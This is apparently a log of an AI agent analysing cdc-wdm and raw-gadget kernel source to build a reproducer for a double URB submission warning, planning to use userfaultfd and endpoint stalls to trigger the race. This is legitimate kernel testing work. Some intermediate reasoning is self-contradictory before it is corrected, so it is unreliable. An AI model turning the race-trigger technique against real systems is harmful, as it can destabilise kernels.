I've been tracking down this `WARNING in service_outstanding_interrupt/usb_submit_urb` bug, and it turns out my previous attempt at a reproducer was flawed. The core issue, I've realized, stems from how the `USB_RAW_IOCTL_EVENT_FETCH` ioctl was failing. It was consistently returning `-EINVAL`, and the kernel log pointed to `raw-gadget.0 gadget.0: ignoring, device is not running`. This immediately made me suspect a state issue within the `raw-gadget` driver.
Looking at the source code for `raw_ioctl_event_fetch`, I see it returns `-EINVAL` if `dev->state != STATE_DEV_RUNNING`. And, crucially, this state can transition to `STATE_DEV_FAILED` if there's an error within `raw_process_ep0_io`. So, my focus shifted to `raw_process_ep0_io`.
The `raw_process_ep0_io` function also has a check for `dev->state != STATE_DEV_RUNNING`, but more importantly, it has several checks related to pending EP0 operations:
* It errors if both `ep0_in_pending` and `ep0_out_pending` are true.
* It errors if neither `ep0_in_pending` nor `ep0_out_pending` are true.
* It errors if `ep0_in_pending` is true but the I/O direction is not `USB_RAW_DIR_IN`.
* It errors if `ep0_out_pending` is true but the I/O direction is not `USB_RAW_DIR_OUT`.
This is where I found the mistake in my previous reproducer. I was examining the `gadget_thread` logic, and I saw that for `USB_REQ_SET_CONFIGURATION`, my *second* reproducer was incorrectly calling `ioctl(fd_raw, USB_RAW_IOCTL_EP0_WRITE, &io)`. The `USB_REQ_SET_CONFIGURATION` is an OUT (or zero-length OUT) request, which should be handled by `USB_RAW_IOCTL_EP0_READ`. My first reproducer *was* correctly using `USB_RAW_IOCTL_EP0_READ` for `USB_REQ_SET_CONFIGURATION`. I had accidentally changed it to `USB_RAW_IOCTL_EP0_WRITE` in the second attempt.
This incorrect `USB_RAW_IOCTL_EP0_WRITE` call when an OUT request was expected would have confused the `raw-gadget` driver about the pending EP0 state, likely leading to `ep0_out_pending` being true while the driver attempted to process an IN operation, causing the state transition to `STATE_DEV_FAILED` and thus the `-EINVAL` from `USB_RAW_IOCTL_EVENT_FETCH`. The fix is to revert this to `USB_RAW_IOCTL_EP0_READ`.
Further into the `gadget_thread` logic, I noticed something else. When handling the specific control read `0xA1 0x01`, if I simply ignore subsequent requests, the `ep0_in_pending` flag in `raw-gadget` will remain set. The question is whether this is allowed. It seems `raw-gadget` doesn't enforce a timeout for user-space to respond to EP0 requests via `USB_RAW_IOCTL_EP0_WRITE`. This is actually desirable for my current goal, as I want the URB to be active when `service_outstanding_interrupt` is called. While the host *might* time out the control request after about 5 seconds, the URB itself will remain pending in the kernel until the user-space driver provides a response.
Now, I'm trying to understand how `service_outstanding_interrupt` is supposed to work and why it's getting called with an outstanding interrupt that's failing. The `wdm_read` function appears to be the entry point for `service_outstanding_interrupt`, and it's called when `!desc->reslength`. This function then calls `service_outstanding_interrupt` to submit the `response` URB.
The `response` URB is the one that reads the actual response data. It's submitted in `wdm_in_callback` when a `USB_CDC_NOTIFY_RESPONSE_AVAILABLE` notification is received. This callback sets the `WDM_RESPONDING` flag and then submits the `response` URB. What's confusing is that `service_outstanding_interrupt` also submits this `response` URB if `WDM_RESPONDING` is set. It seems like there might be a double submission or a logic flaw here, especially considering that `wdm_in_callback` already submits the `response` URB. I need to carefully trace the lifecycle of the `response` URB and how `WDM_RESPONDING` is managed in relation to `service_outstanding_interrupt`. I'm currently digging into `wdm_in_callback` more deeply to clarify this interaction.
|
| 217/4 |
2026/09/11 22:50 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile: Name:wdm_in_callback]
Results: map[SourceCode: 167: static void wdm_in_callback(struct urb *urb)
168: {
169: unsigned long flags;
170: struct wdm_device *desc = urb->context;
171: int status = urb->status;
172: int length = urb->actual_length;
173:
174: spin_lock_irqsave(&desc->iuspin, flags);
175: clear_bit(WDM_RESPONDING, &desc->flags);
176:
177: if (status) {
178: switch (status) {
179: case -ENOENT:
180: dev_dbg(&desc->intf->dev,
181: "nonzero urb status received: -ENOENT\n");
182: goto skip_error;
183: case -ECONNRESET:
184: dev_dbg(&desc->intf->dev,
185: "nonzero urb status received: -ECONNRESET\n");
186: goto skip_error;
187: case -ESHUTDOWN:
188: dev_dbg(&desc->intf->dev,
189: "nonzero urb status received: -ESHUTDOWN\n");
190: goto skip_error;
191: case -EPIPE:
192: dev_err(&desc->intf->dev,
193: "nonzero urb status received: -EPIPE\n");
194: break;
195: default:
196: dev_err(&desc->intf->dev,
197: "Unexpected error %d\n", status);
198: break;
199: }
200: }
201:
202: if (test_bit(WDM_WWAN_IN_USE, &desc->flags)) {
203: wdm_wwan_rx(desc, length);
204: goto out;
205: }
206:
207: /*
208: * only set a new error if there is no previous error.
209: * Errors are only cleared during read/open
210: * Avoid propagating -EPIPE (stall) to userspace since it is
211: * better handled as an empty read
212: */
213: if (desc->rerr == 0 && status != -EPIPE)
214: desc->rerr = status;
215:
216: if (length == 0) {
217: dev_dbg(&desc->intf->dev, "received ZLP\n");
218: goto skip_zlp;
219: }
220:
221: if (length + desc->length > desc->wMaxCommand) {
222: /* The buffer would overflow */
223: set_bit(WDM_OVERFLOW, &desc->flags);
224: } else {
225: /* we may already be in overflow */
226: if (!test_bit(WDM_OVERFLOW, &desc->flags)) {
227: memmove(desc->ubuf + desc->length, desc->inbuf, length);
228: smp_wmb(); /* against wdm_read() */
229: WRITE_ONCE(desc->length, desc->length + length);
230: }
231: }
232: skip_error:
233:
234: if (desc->rerr) {
235: /*
236: * If there was a ZLP or an error, userspace may decide to not
237: * read any data after poll'ing.
238: * We should respond to further attempts from the device to send
239: * data, so that we can get unstuck.
240: */
241: skip_zlp:
242: schedule_work(&desc->service_outs_intr);
243: } else {
244: set_bit(WDM_READ, &desc->flags);
245: wake_up(&desc->wait);
246: }
247: out:
248: spin_unlock_irqrestore(&desc->iuspin, flags);
249: }
SourceFile:drivers/usb/class/cdc-wdm.c]
|
| 218/4 |
2026/09/11 22:50 |
llm |
repro-generator |
0m
Model:
Tokens:
input: 17891
output: 30
thoughts: 72
Thoughts: **My Thought Process Regarding URB Callbacks**
It dawns on me that `wdm_in_callback` is specifically designated for the `response` URB. Initially, I might have just thought of it as a general input callback, but upon closer inspection, I realize it's tied to the `desc->response` URB, which is of the control read type. This leads me to a crucial question: what, then, is the callback function for the *interrupt* URB? To find this out, I'll need to consult the code and specifically look for what's registered as the callback for interrupt transfers, likely something along the lines of `wdm_int_callback`.
|
| 219/4 |
2026/09/11 22:51 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile: Name:wdm_int_callback]
Results: map[SourceCode: 251: static void wdm_int_callback(struct urb *urb)
252: {
253: unsigned long flags;
254: int rv = 0;
255: int responding;
256: int status = urb->status;
257: struct wdm_device *desc;
258: struct usb_cdc_notification *dr;
259:
260: desc = urb->context;
261: dr = (struct usb_cdc_notification *)desc->sbuf;
262:
263: if (status) {
264: switch (status) {
265: case -ESHUTDOWN:
266: case -ENOENT:
267: case -ECONNRESET:
268: return; /* unplug */
269: case -EPIPE:
270: set_bit(WDM_INT_STALL, &desc->flags);
271: dev_err(&desc->intf->dev, "Stall on int endpoint\n");
272: goto sw; /* halt is cleared in work */
273: default:
274: dev_err_ratelimited(&desc->intf->dev,
275: "nonzero urb status received: %d\n", status);
276: break;
277: }
278: }
279:
280: if (urb->actual_length < sizeof(struct usb_cdc_notification)) {
281: dev_err_ratelimited(&desc->intf->dev, "wdm_int_callback - %d bytes\n",
282: urb->actual_length);
283: goto exit;
284: }
285:
286: switch (dr->bNotificationType) {
287: case USB_CDC_NOTIFY_RESPONSE_AVAILABLE:
288: dev_dbg(&desc->intf->dev,
289: "NOTIFY_RESPONSE_AVAILABLE received: index %d len %d\n",
290: le16_to_cpu(dr->wIndex), le16_to_cpu(dr->wLength));
291: break;
292:
293: case USB_CDC_NOTIFY_NETWORK_CONNECTION:
294:
295: dev_dbg(&desc->intf->dev,
296: "NOTIFY_NETWORK_CONNECTION %s network\n",
297: dr->wValue ? "connected to" : "disconnected from");
298: goto exit;
299: case USB_CDC_NOTIFY_SPEED_CHANGE:
300: dev_dbg(&desc->intf->dev, "SPEED_CHANGE received (len %u)\n",
301: urb->actual_length);
302: goto exit;
303: default:
304: clear_bit(WDM_POLL_RUNNING, &desc->flags);
305: dev_err(&desc->intf->dev,
306: "unknown notification %d received: index %d len %d\n",
307: dr->bNotificationType,
308: le16_to_cpu(dr->wIndex),
309: le16_to_cpu(dr->wLength));
310: goto exit;
311: }
312:
313: spin_lock_irqsave(&desc->iuspin, flags);
314: responding = test_and_set_bit(WDM_RESPONDING, &desc->flags);
315: if (!desc->resp_count++ && !responding
316: && !test_bit(WDM_DISCONNECTING, &desc->flags)
317: && !test_bit(WDM_SUSPENDING, &desc->flags)) {
318: rv = usb_submit_urb(desc->response, GFP_ATOMIC);
319: dev_dbg(&desc->intf->dev, "submit response URB %d\n", rv);
320: }
321: spin_unlock_irqrestore(&desc->iuspin, flags);
322: if (rv < 0) {
323: clear_bit(WDM_RESPONDING, &desc->flags);
324: if (rv == -EPERM)
325: return;
326: if (rv == -ENOMEM) {
327: sw:
328: rv = schedule_work(&desc->rxwork);
329: if (rv)
330: dev_err(&desc->intf->dev,
331: "Cannot schedule work\n");
332: }
333: }
334: exit:
335: rv = usb_submit_urb(urb, GFP_ATOMIC);
336: if (rv)
337: dev_err(&desc->intf->dev,
338: "%s - usb_submit_urb failed with result %d\n",
339: __func__, rv);
340:
341: }
SourceFile:drivers/usb/class/cdc-wdm.c]
|
| 220/4 |
2026/09/11 22:51 |
llm |
repro-generator |
0m
Model:
Tokens:
input: 19426
output: 29
thoughts: 93
Thoughts: **My Thought Process Unpacking the `wdm_int_callback` and Stall Handling**
Okay, so my first realization is about what triggers the submission of the `desc->response` URB. It's this `wdm_int_callback` function. The condition is quite specific: it only happens if `desc->resp_count` is zero *before* it's incremented (meaning this is the first response URB being submitted in this sequence), *and* if the `responding` flag is false. This tells me there's a controlled mechanism for sending responses, likely to prevent overwhelming the system or the device itself with simultaneous response requests.
Then, my attention immediately shifts to the error handling. If the `status` returned from whatever operation happened in `wdm_int_callback` is `-EPIPE`, it's a critical indicator. This specific error code, `-EPIPE`, strongly suggests a pipe stall condition. My immediate thought is to then look at how this stall is managed. The code explicitly sets `WDM_INT_STALL`, which is a clear flag indicating that the interrupt endpoint is now stalled. Crucially, it then schedules `desc->rxwork`.
At this point, I pause and think, "Hold on a second." My understanding of `wdm_rxwork` is that its primary purpose is to *clear* a stall condition on the interrupt endpoint. So, the fact that it's being scheduled when a stall is *detected* makes perfect sense. The logic is: if we detect a stall (`-EPIPE` and `WDM_INT_STALL` set), we need to initiate the process to clear it, and that process is handled by `wdm_rxwork`. This prompts me to dive into the details of `wdm_rxwork` to understand exactly *how* it resolves the stall.
|
| 221/4 |
2026/09/11 22:51 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile: Name:wdm_rxwork]
Results: map[SourceCode: 982: /* --- error handling --- */
983: static void wdm_rxwork(struct work_struct *work)
984: {
985: struct wdm_device *desc = container_of(work, struct wdm_device, rxwork);
986: unsigned long flags;
987: int rv = 0;
988: int responding;
989:
990: spin_lock_irqsave(&desc->iuspin, flags);
991: if (test_bit(WDM_DISCONNECTING, &desc->flags)) {
992: spin_unlock_irqrestore(&desc->iuspin, flags);
993: } else {
994: responding = test_and_set_bit(WDM_RESPONDING, &desc->flags);
995: spin_unlock_irqrestore(&desc->iuspin, flags);
996: if (!responding)
997: rv = usb_submit_urb(desc->response, GFP_KERNEL);
998: if (rv < 0 && rv != -EPERM) {
999: spin_lock_irqsave(&desc->iuspin, flags);
1000: clear_bit(WDM_RESPONDING, &desc->flags);
1001: if (!test_bit(WDM_DISCONNECTING, &desc->flags))
1002: schedule_work(&desc->rxwork);
1003: spin_unlock_irqrestore(&desc->iuspin, flags);
1004: }
1005: }
1006: }
SourceFile:drivers/usb/class/cdc-wdm.c]
|
| 222/4 |
2026/09/11 22:51 |
llm |
repro-generator |
0m
Model:
Tokens:
input: 19994
output: 44
thoughts: 60
Thoughts: **A Deep Dive into Interrupt Endpoint Stall Handling**
My initial thought process began with a critical observation regarding the `wdm_rxwork` function. I realized it submits the `desc->response` URB, which is a crucial piece of data flow for our interrupt endpoint. However, it *doesn't* seem to be clearing the stall condition on that very same interrupt endpoint. This immediately triggered a follow-up question in my mind: if `wdm_rxwork` isn't handling the stall, where *is* it being managed? The absence of stall clearing in what appears to be a core processing routine for the interrupt endpoint is a significant gap. To address this, my immediate next step is to perform a targeted search for `WDM_INT_STALL` to pinpoint the exact mechanism responsible for detecting and resolving this stall condition. I need to understand its lifecycle and how it's intended to be cleared.
|
| 223/4 |
2026/09/11 22:51 |
tool |
codesearch-find-references |
0m
Error:
Args: map[ContextFile: IncludeSnippetLines:0 Name:WDM_INT_STALL SourceTreePrefix:]
Results: map[References:<nil> TruncatedOutput:false]
|
| 224/4 |
2026/09/11 22:51 |
llm |
repro-generator |
0m
Model:
Tokens:
input: 20097
output: 39
thoughts: 17
Thoughts: **My Thought Process on Identifying `ENUM_OR_MACRO`**
Okay, I've just encountered a symbol, let's call it `ENUM_OR_MACRO` for now, and my immediate reaction is a bit of uncertainty. My experience tells me this could be either a C-style macro or a C++ enum definition. Both are plausible ways to represent a set of named constants, and without more context, distinguishing them definitively can be tricky. My first instinct, therefore, is to leverage the most direct and efficient debugging tool I have at my disposal for this kind of low-level code exploration: `grep`. I need to see where and how `ENUM_OR_MACRO` is defined and used. A quick `grep` command will be my quickest path to understanding its true nature. I'm not going to speculate further until I have concrete evidence from the codebase itself.
|
| 225/4 |
2026/09/11 22:51 |
tool |
grepper |
0m
Args: map[Expression:WDM_INT_STALL PathPrefix:drivers/usb/class/cdc-wdm.c]
Results: map[Output:drivers/usb/class/cdc-wdm.c=45=MODULE_DEVICE_TABLE (usb, wdm_ids);
--
drivers/usb/class/cdc-wdm.c-53-#define WDM_READ 4
drivers/usb/class/cdc-wdm.c:54:#define WDM_INT_STALL 5
drivers/usb/class/cdc-wdm.c-55-#define WDM_POLL_RUNNING 6
--
drivers/usb/class/cdc-wdm.c=251=static void wdm_int_callback(struct urb *urb)
--
drivers/usb/class/cdc-wdm.c-269- case -EPIPE:
drivers/usb/class/cdc-wdm.c:270: set_bit(WDM_INT_STALL, &desc->flags);
drivers/usb/class/cdc-wdm.c-271- dev_err(&desc->intf->dev, "Stall on int endpoint\n");
]
|
| 226/4 |
2026/09/11 22:51 |
llm |
repro-generator |
0m
Model:
Tokens:
input: 20395
output: 29
thoughts: 4268
Thoughts: **The Root of the URB Submission Race: A Deep Dive into WDM Endpoint Handling**
My investigation into potential race conditions within the `wdm` driver has led me to a rather insidious bug concerning the submission of the `desc->response` URB. It all started with a peculiar observation: the `WDM_INT_STALL` flag appeared to be set under certain conditions, but I couldn't find any explicit checks for it. This led me down a rabbit hole, examining the interrupt handling and workqueue mechanisms.
My initial focus shifted to `wdm_rxwork`. I noticed that it simply submits the `desc->response` URB. This seemed a bit too straightforward, and I began to wonder if there were any safeguards in place. Then, my attention was drawn to `wdm_int_callback`. I discovered that if the `status` it received was `-EPIPE` (indicating a stall on the interrupt endpoint), it would indeed schedule a work item: `schedule_work(&desc->rxwork)`.
This led me to the `sw:` label within the interrupt callback's error handling. Here's the relevant snippet:
```c
if (rv < 0) {
clear_bit(WDM_RESPONDING, &desc->flags);
if (rv == -EPERM)
return;
if (rv == -ENOMEM) {
sw:
rv = schedule_work(&desc->rxwork);
if (rv)
dev_err(&desc->intf->dev,
"Cannot schedule work\n");
}
}
```
What I realized was that the `goto sw;` statement, when triggered by `-EPIPE` (or `-ENOMEM`), would bypass the `-ENOMEM` check and directly execute `schedule_work(&desc->rxwork)`. This confirms that `wdm_rxwork` is indeed scheduled upon an interrupt endpoint stall. And crucially, as I'd noted earlier, `wdm_rxwork` proceeds to submit the `desc->response` URB.
The `desc->response` URB is a control read URB. The core of my concern then became: what happens if `wdm_rxwork` attempts to submit this URB while it's already in use? My initial thought was that `wdm_rxwork` itself might have a safeguard. Looking at its implementation, I saw this:
```c
responding = test_and_set_bit(WDM_RESPONDING, &desc->flags);
spin_unlock_irqrestore(&desc->iuspin, flags);
if (!responding)
rv = usb_submit_urb(desc->response, GFP_KERNEL);
```
It does indeed check `WDM_RESPONDING`. If the bit was already set, it correctly avoids submitting the URB. However, my investigation then unearthed the behavior of `service_outstanding_interrupt`:
```c
if (test_and_clear_bit(WDM_RESPONDING, &desc->flags)) {
rv = usb_submit_urb(desc->response, GFP_KERNEL);
```
This function, `service_outstanding_interrupt`, *clears* `WDM_RESPONDING` *before* submitting the `desc->response` URB. This is where the race condition becomes apparent. If `wdm_rxwork` and `service_outstanding_interrupt` execute concurrently, they could both attempt to submit the `desc->response` URB.
Let's trace a potential scenario:
Imagine Thread 1 (`wdm_read`) executing this block:
```c
if (!desc->reslength) {
spin_unlock_irq(&desc->iuspin);
service_outstanding_interrupt(desc);
spin_lock_irq(&desc->iuspin);
}
```
And Thread 2 (`wdm_rxwork`) running this:
```c
responding = test_and_set_bit(WDM_RESPONDING, &desc->flags);
spin_unlock_irqrestore(&desc->iuspin, flags);
if (!responding)
rv = usb_submit_urb(desc->response, GFP_KERNEL);
```
Now, consider the timing:
1. Suppose Thread 1 is blocked in `copy_to_user` (perhaps due to `userfaultfd`) and `desc->reslength` has just become zero. It proceeds to unlock the spinlock and is about to call `service_outstanding_interrupt`. At this point, `WDM_RESPONDING` is 0.
2. Before Thread 1 can execute `service_outstanding_interrupt`, Thread 2 (triggered by, say, an interrupt stall) gets a chance to run. It executes `test_and_set_bit(WDM_RESPONDING, &desc->flags)`. Since `WDM_RESPONDING` was 0, it returns 0, and the flag is set to 1. Thread 2 is then preempted just before it calls `usb_submit_urb(desc->response)`.
3. Thread 1 resumes and calls `service_outstanding_interrupt`. It executes `test_and_clear_bit(WDM_RESPONDING, &desc->flags)`. Since Thread 2 had set it to 1, this returns 1, and the flag is cleared back to 0. Crucially, Thread 1 then calls `usb_submit_urb(desc->response)`.
4. Thread 2, upon resuming, now finds that `!responding` is false because `test_and_set_bit` returned 0 (meaning the bit was *not* set before it ran). However, it proceeds to call `usb_submit_urb(desc->response)` *again*.
This creates a direct race condition where both threads attempt to submit the `desc->response` URB concurrently, leading to a double submission.
To reliably trigger this, my thought process was to orchestrate the following sequence:
1. We need `wdm_read` to reach the point where it calls `service_outstanding_interrupt` after `desc->reslength` becomes zero. This requires a successful read that consumes all available data.
2. We need `wdm_rxwork` to be scheduled. This can happen if `wdm_int_callback` receives a `-EPIPE` status (interrupt endpoint stall) or if an initial `usb_submit_urb` call returns `-ENOMEM`.
3. The critical part is the timing: we need to ensure `wdm_rxwork` submits its URB while `wdm_read` is blocked and before `service_outstanding_interrupt` has a chance to clear `WDM_RESPONDING`.
My refined reproducer strategy involves:
* Initiating a read operation that gets blocked using `userfaultfd`.
* While blocked, causing an interrupt endpoint stall, which triggers `wdm_rxwork`.
* `wdm_rxwork` will then set `WDM_RESPONDING` and submit `desc->response`.
* The key is to *not* allow the gadget to respond to the control read request that `wdm_rxwork` initiates. This ensures that `desc->response` remains active and `WDM_RESPONDING` stays set.
* Upon unblocking the `read` call, `service_outstanding_interrupt` will be invoked. It will find `WDM_RESPONDING` set, clear it, and attempt to submit `desc->response` *again*. Since the URB is already active, this will trigger the "URB submitted while active" warning. This scenario bypasses the need for a very tight race and points towards a more deterministic bug where a previously submitted URB is re-submitted.
This detailed breakdown has illuminated a critical flaw in how the interrupt status and response URB submission are synchronized, particularly in the presence of endpoint stalls and concurrent workqueue processing.
|
| 227/4 |
2026/09/11 22:52 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile: Name:service_outstanding_interrupt]
Results: map[SourceCode: 485: /*
486: * Submit the read urb if resp_count is non-zero.
487: *
488: * Called with desc->iuspin locked
489: */
490: static int service_outstanding_interrupt(struct wdm_device *desc)
491: {
492: int rv = 0;
493:
494: /* submit read urb only if the device is waiting for it */
495: if (!desc->resp_count || !--desc->resp_count)
496: goto out;
497:
498: if (test_bit(WDM_DISCONNECTING, &desc->flags)) {
499: rv = -ENODEV;
500: goto out;
501: }
502: if (test_bit(WDM_RESETTING, &desc->flags)) {
503: rv = -EIO;
504: goto out;
505: }
506:
507: set_bit(WDM_RESPONDING, &desc->flags);
508: spin_unlock_irq(&desc->iuspin);
509: rv = usb_submit_urb(desc->response, GFP_KERNEL);
510: spin_lock_irq(&desc->iuspin);
511: if (rv) {
512: if (!test_bit(WDM_DISCONNECTING, &desc->flags))
513: dev_err(&desc->intf->dev,
514: "usb_submit_urb failed with result %d\n", rv);
515:
516: /* make sure the next notification trigger a submit */
517: clear_bit(WDM_RESPONDING, &desc->flags);
518: desc->resp_count = 0;
519: }
520: out:
521: return rv;
522: }
SourceFile:drivers/usb/class/cdc-wdm.c]
|
| 228/4 |
2026/09/11 22:52 |
llm |
repro-generator |
0m
Model:
Tokens:
input: 25257
output: 27
thoughts: 3373
Thoughts: **My Journey Through a Challenging Kernel Race Condition**
Initially, my attention was drawn to a change in the `service_outstanding_interrupt` function within the kernel's source code. I dove into the specifics, expecting to find a subtle but critical shift in its behavior compared to older versions I had previously analyzed. My prior understanding was based on an older kernel, and I needed to re-align my thinking with the current implementation.
Upon closer inspection of the current kernel's `service_outstanding_interrupt`, I noticed this snippet:
```c
/* submit read urb only if the device is waiting for it */
if (!desc->resp_count || !--desc->resp_count)
goto out;
...
set_bit(WDM_RESPONDING, &desc->flags);
spin_unlock_irq(&desc->iuspin);
rv = usb_submit_urb(desc->response, GFP_KERNEL);
```
My immediate thought was, "Hold on, this is different!" I realized that if `desc->resp_count` was 1 when this function was called, it would decrement to 0, and then immediately branch to `out`, completely skipping the URB submission. This was a significant departure from my earlier assumptions, where it seemed to always submit the URB.
Then, the implications started to dawn on me. If `desc->resp_count` was 2, it would decrement to 1. In this scenario, it *would* proceed to submit the URB, and importantly, it would also set the `WDM_RESPONDING` flag. It was the sequence of operations: setting `WDM_RESPONDING` *and then* submitting the URB, without checking the flag's prior state, that caught my eye.
This led me to re-evaluate the potential race condition, especially in conjunction with the `wdm_rxwork` function. I mentally mapped out their interactions:
**`wdm_rxwork`:**
```c
responding = test_and_set_bit(WDM_RESPONDING, &desc->flags);
spin_unlock_irqrestore(&desc->iuspin, flags);
if (!responding)
rv = usb_submit_urb(desc->response, GFP_KERNEL);
```
**`service_outstanding_interrupt`:**
```c
set_bit(WDM_RESPONDING, &desc->flags);
spin_unlock_irq(&desc->iuspin);
rv = usb_submit_urb(desc->response, GFP_KERNEL);
```
My critical realization was that `service_outstanding_interrupt` *doesn't check if `WDM_RESPONDING` was already set*. It simply sets it and then submits the URB. This is where the double submission danger lies. If `wdm_rxwork` successfully sets `WDM_RESPONDING` and submits the URB, and then `service_outstanding_interrupt` subsequently runs, it would *also* set `WDM_RESPONDING` (redundantly) and attempt to submit the URB again. This would be a clear double submission scenario, a classic race condition I needed to prevent.
However, my analysis of `wdm_int_callback` complicated this a bit.
```c
responding = test_and_set_bit(WDM_RESPONDING, &desc->flags);
if (!desc->resp_count++ && !responding
&& !test_bit(WDM_DISCONNECTING, &desc->flags)
&& !test_bit(WDM_SUSPENDING, &desc->flags)) {
rv = usb_submit_urb(desc->response, GFP_ATOMIC);
```
This function's behavior around `desc->resp_count` was key. For Notification 1, `resp_count` goes from 0 to 1, the `!desc->resp_count++` condition is true, and `desc->response` is submitted. But for Notification 2, `resp_count` goes from 1 to 2. The `!desc->resp_count++` condition (evaluating `!1`) becomes false, meaning `desc->response` is *not* submitted again by `wdm_int_callback`. This prevented an immediate double submission from two consecutive notifications.
This led me to construct a detailed sequence of events, carefully tracking `desc->resp_count` and `WDM_RESPONDING`:
1. **Gadget sends Notification 1:** `wdm_int_callback` is invoked. `WDM_RESPONDING` is set to 1, `resp_count` becomes 1, and `desc->response` is submitted.
2. **Gadget sends Notification 2:** `wdm_int_callback` is invoked. `WDM_RESPONDING` is potentially re-set to 1 (or remains 1 if not cleared). Crucially, `resp_count` becomes 2. The `!desc->resp_count++` check fails, so `desc->response` is *not* submitted here.
3. **Host sends Control Read 1 (for Notification 1):** `wdm_in_callback` handles the response. It clears `WDM_RESPONDING` to 0 and signals `wdm_read`. At this point, `resp_count` is still 2, and `WDM_RESPONDING` is 0.
4. **User space calls `read()`:** The call blocks in `copy_to_user`.
5. **Gadget stalls EP1 IN:** This triggers a stall, which schedules `wdm_rxwork`.
6. **`wdm_rxwork` runs:** It performs `test_and_set_bit(WDM_RESPONDING)`, setting it to 1 and returning 0. Then, it submits `desc->response`. Now, `resp_count` is 2, and `WDM_RESPONDING` is 1.
7. **Host sends Control Read 2 (intended for `wdm_rxwork`):** The gadget's URB is already active from the `wdm_rxwork` submission. The gadget effectively ignores this host request, but the URB remains active.
8. **User space resolves userfaultfd:** The `read()` call in user space completes. `desc->reslength` is set to 0. `wdm_read` then calls `service_outstanding_interrupt`.
9. **`service_outstanding_interrupt` executes:** It checks `desc->resp_count`. It's 2. `!desc->resp_count--` becomes `!1`, which is false. So, it proceeds. It then executes `set_bit(WDM_RESPONDING, &desc->flags)`. Since `WDM_RESPONDING` is *already* 1 (set by `wdm_rxwork`), this is a redundant set. Crucially, it then calls `usb_submit_urb(desc->response, GFP_KERNEL)`.
This is precisely where the problem occurs: the URB is *already active* from the `wdm_rxwork` submission, and `service_outstanding_interrupt` is attempting to submit it *again*. This is the double submission.
I realized that the critical condition for this double submission was ensuring that `wdm_rxwork` ran *before* `service_outstanding_interrupt`. My previous reproducer attempted to achieve this by stalling EP1 IN, waiting a short period (200ms) for `wdm_rxwork` to execute and submit its URB, and *then* resolving the userfaultfd to trigger `service_outstanding_interrupt`.
This detailed trace solidified my understanding of the race. However, my previous reproducer failed to enumerate the device, which I discovered through kernel logs:
```
[ 70.345385][ T5707] usb 1-1: device descriptor read/64, error -110
[ 71.555723][ T5707] usb usb1-port1: unable to enumerate USB device
```
Investigating the gadget's logic for handling USB requests during enumeration revealed the root cause. In my gadget thread, I was incorrectly handling `USB_REQ_SET_CONFIGURATION` by using `USB_RAW_IOCTL_EP0_WRITE`, which is an IN transfer, for an OUT request. This led to an `EINVAL` error, the device entering `STATE_DEV_FAILED`, and ultimately, the enumeration timeout.
Furthermore, I identified that my gadget code didn't explicitly handle the `SET_ADDRESS` request. While `raw-gadget` might have internal handling for this, my explicit lack of handling meant that if the host sent `SET_ADDRESS` (which it does during enumeration), my code would fall into the generic `else` block and issue a `USB_RAW_IOCTL_EP0_STALL`. Stalling `SET_ADDRESS` would unequivocally break the enumeration process. This was the underlying reason the previous reproducer failed before even reaching the point of testing the URB submission race.
|
| 229/4 |
2026/09/11 22:53 |
tool |
codesearch-definition-source |
0m
Error:
Args: map[ContextFile: Name:raw_setup]
Results: map[SourceCode: SourceFile:]
|
| 230/4 |
2026/09/11 22:53 |
llm |
repro-generator |
0m
Model:
Tokens:
input: 28662
output: 42
thoughts: 32
Thoughts: **My Thought Process Regarding USB Device Addressing**
My immediate focus is on understanding how a USB device's address is managed, particularly within the context of raw gadget mode. To achieve this, I'm zeroing in on the `USB_REQ_SET_ADDRESS` request. I believe the most direct path to dissecting this mechanism will be to examine its implementation within the `drivers/usb/gadget/legacy/raw_gadget.c` file. My hypothesis is that this specific file will contain the core logic for handling the `SET_ADDRESS` control transfer, which is fundamental to the USB enumeration process where the host assigns a unique address to the device. By searching for `USB_REQ_SET_ADDRESS` here, I expect to find the code responsible for receiving and processing this critical command, likely involving updating internal device state and potentially confirming the address assignment with the host. This targeted search should provide a clear insight into the low-level operations involved in establishing a device's identity on the USB bus in this legacy gadget driver.
|
| 231/4 |
2026/09/11 22:53 |
tool |
grepper |
0m
Error:
Args: map[Expression:USB_REQ_SET_ADDRESS PathPrefix:drivers/usb/gadget/legacy/raw_gadget.c]
Results:
|
| 232/4 |
2026/09/11 22:53 |
llm |
repro-generator |
0m
Model:
Tokens:
input: 28734
output: 38
thoughts: 71
Thoughts: **My Thought Process**
I was just reviewing the Linux kernel source code, specifically focusing on USB gadget drivers. My immediate thought was a slight confusion regarding the exact location of the `raw-gadget` module. I recalled it being in `drivers/usb/gadget/legacy/` and then, in a moment of self-correction, I confirmed that yes, `raw_gadget.c` is indeed located within that `drivers/usb/gadget/legacy/` directory. Following this, my next logical step in my investigation was to pinpoint the implementation of the `set_address` function within that specific `raw_gadget.c` file.
|
| 233/4 |
2026/09/11 22:53 |
tool |
grepper |
0m
Error:
Args: map[Expression:set_address PathPrefix:drivers/usb/gadget/legacy/raw_gadget.c]
Results:
|
| 234/4 |
2026/09/11 22:53 |
llm |
repro-generator |
0m
Model:
Tokens:
input: 28841
output: 32
thoughts: 1109
Thoughts: **A Deep Dive into USB Gadget Enumeration Failures: My Debugging Journey**
I've been wrestling with a USB gadget enumeration issue, and it's been quite the investigative process. My initial thought was around how `raw-gadget` handles USB requests, specifically the `SET_ADDRESS` command. I correctly deduced that the UDC (USB Device Controller) core, not the specific gadget driver like `raw-gadget`, typically handles `SET_ADDRESS` before it even gets passed down. I confirmed this by looking at `drivers/usb/gadget/udc/core.c`, where functions like `usb_gadget_setup` manage these initial control transfers. This led me to realize that if the UDC core intercepts `SET_ADDRESS`, `raw-gadget` wouldn't even see it.
My next step was to figure out what requests `raw-gadget` *does* receive and how to distinguish between IN and OUT transfers. I identified `USB_DIR_IN` as a key differentiator and thought handling `GET_DESCRIPTOR` and `SET_CONFIGURATION` would be sufficient. To my surprise, my first reproducer, which used a condition like `if (req->bRequestType & USB_DIR_IN)` and then checked for `USB_REQ_GET_DESCRIPTOR`, actually worked! The device enumerated, and the `cdc-wdm0` interface appeared as expected.
